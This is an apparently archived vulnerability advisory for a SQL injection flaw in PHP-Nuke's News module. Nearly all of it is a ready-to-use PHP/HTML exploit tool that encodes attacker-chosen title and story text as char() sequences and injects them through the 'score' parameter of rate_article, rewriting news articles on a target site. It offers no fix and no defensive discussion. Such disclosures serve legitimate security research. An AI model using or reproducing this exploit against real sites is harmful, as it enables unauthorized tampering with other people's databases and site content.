PHPNuke News Module Index.PHP SQL Injection Vulnerability

PHPNuke News Module Index.PHP SQL Injection Vulnerability

The following exploit information was provided by Frog Man <leseulfrog@hotmail.com>:

If magic_quotes_gpc=OFF or ON

<html>
<head>
<title>PHP-Nuke Change News</title>
</head>
<body>
<?
function ascii_phpnuke_exploit($str) {
for ($i=0;$i < strlen($str);$i++) {
if ($i == strlen($str)-1){
$ascii_char.=ord(substr($str,$i));
}else{
$ascii_char.=ord(substr($str,$i)).',';
}
}
return $ascii_char;
}

if (isset($submit)) {

$score="1";
if (isset($title)) {
$score.=", title=char(".ascii_phpnuke_exploit($title).")";
}
if (strlen($hometext)>1) {
$score.=", hometext=char(".ascii_phpnuke_exploit($hometext).")";
}
if (strlen($bodytext)>1){
$score.=", bodytext=char(".ascii_phpnuke_exploit($bodytext).")";
}
?>

<b>Target URL : </b><? echo $target; ?><br><br>
<b>SID : </b><? echo $sid; ?><br><br>
<b>New Title : </b><? echo $title; ?><br><br>
<b>New Story Text : </b><? echo $hometext; ?><br><br>
<b>New Extended Text : </b><? echo $bodytext; ?><br><br>

<form method="POST" action="<? echo $target; ?>/modules.php">
<input type="hidden" name="name" value="News">
<input type="hidden" name="op" value="rate_article">
<input type="hidden" name="sid" value="<? echo $sid; ?>">
<input type="hidden" name="score" value="<? echo $score; ?>">
<input type="submit" name="submit" value="Change the News">
</form>
<input type="submit" value="Back" onclick="history.go(-1)">

<?
}else{
?>

<form method="GET" action="<? echo $PHP_SELF; ?>">
Target URL : <input type="text" name="target"><br>
News SID : <input type="text" name="sid"><br><br>
<b>New Title :</b><br> <input type="text" name="title"><br>
<br><br><b>New Story Text :</b><br><textarea cols="50" rows="12"
name="hometext"></textarea>
<br><br><br><b>New Extended Text : </b><br><textarea cols="50" rows="12"
name="bodytext"></textarea><br><br>
<input type="submit" name="submit" value="Preview">
</form>

<?
}
?>

</body>
</html>